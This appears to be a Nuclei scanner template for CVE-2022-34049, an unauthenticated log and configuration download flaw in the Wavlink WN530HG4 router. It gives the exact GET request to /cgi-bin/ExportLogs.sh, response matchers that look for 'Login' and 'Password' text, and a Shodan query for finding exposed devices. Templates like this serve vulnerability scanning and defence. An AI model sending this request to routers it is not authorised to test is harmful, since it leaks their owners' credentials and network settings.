nuclei-templates/cves/2022/CVE-2022-34049.yaml

42 lines
1.1 KiB
YAML

id: CVE-2022-34049
info:
name: Wavlink Exportlogs.sh - Configuration Exposure
author: For3stCo1d
severity: high
description: |
An access control issue in Wavlink WN530HG4 M30HG4.V5030.191116 allows unauthenticated attackers to download log files and configuration data.
reference:
- https://drive.google.com/file/d/1-eNgq6IS609bq2vB93c_N8jnZrJ2dgNF/view
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34049
- https://drive.google.com/file/d/1ZeSwqu04OghLQXeG7emU-w-Amgadafqx/view?usp=sharing
- https://drive.google.com/file/d/1-eNgq6IS609bq2vB93c_N8jnZrJ2dgNF/view?usp=sharing
metadata:
shodan-query: http.title:"Wi-Fi APP Login"
verified: "true"
tags: cve,cve2022,wavlink,router,exposure
requests:
- raw:
- |
GET /cgi-bin/ExportLogs.sh HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Login'
- 'Password'
condition: and
- type: word
part: header
words:
- filename="sysLogs.txt"
- type: status
status:
- 200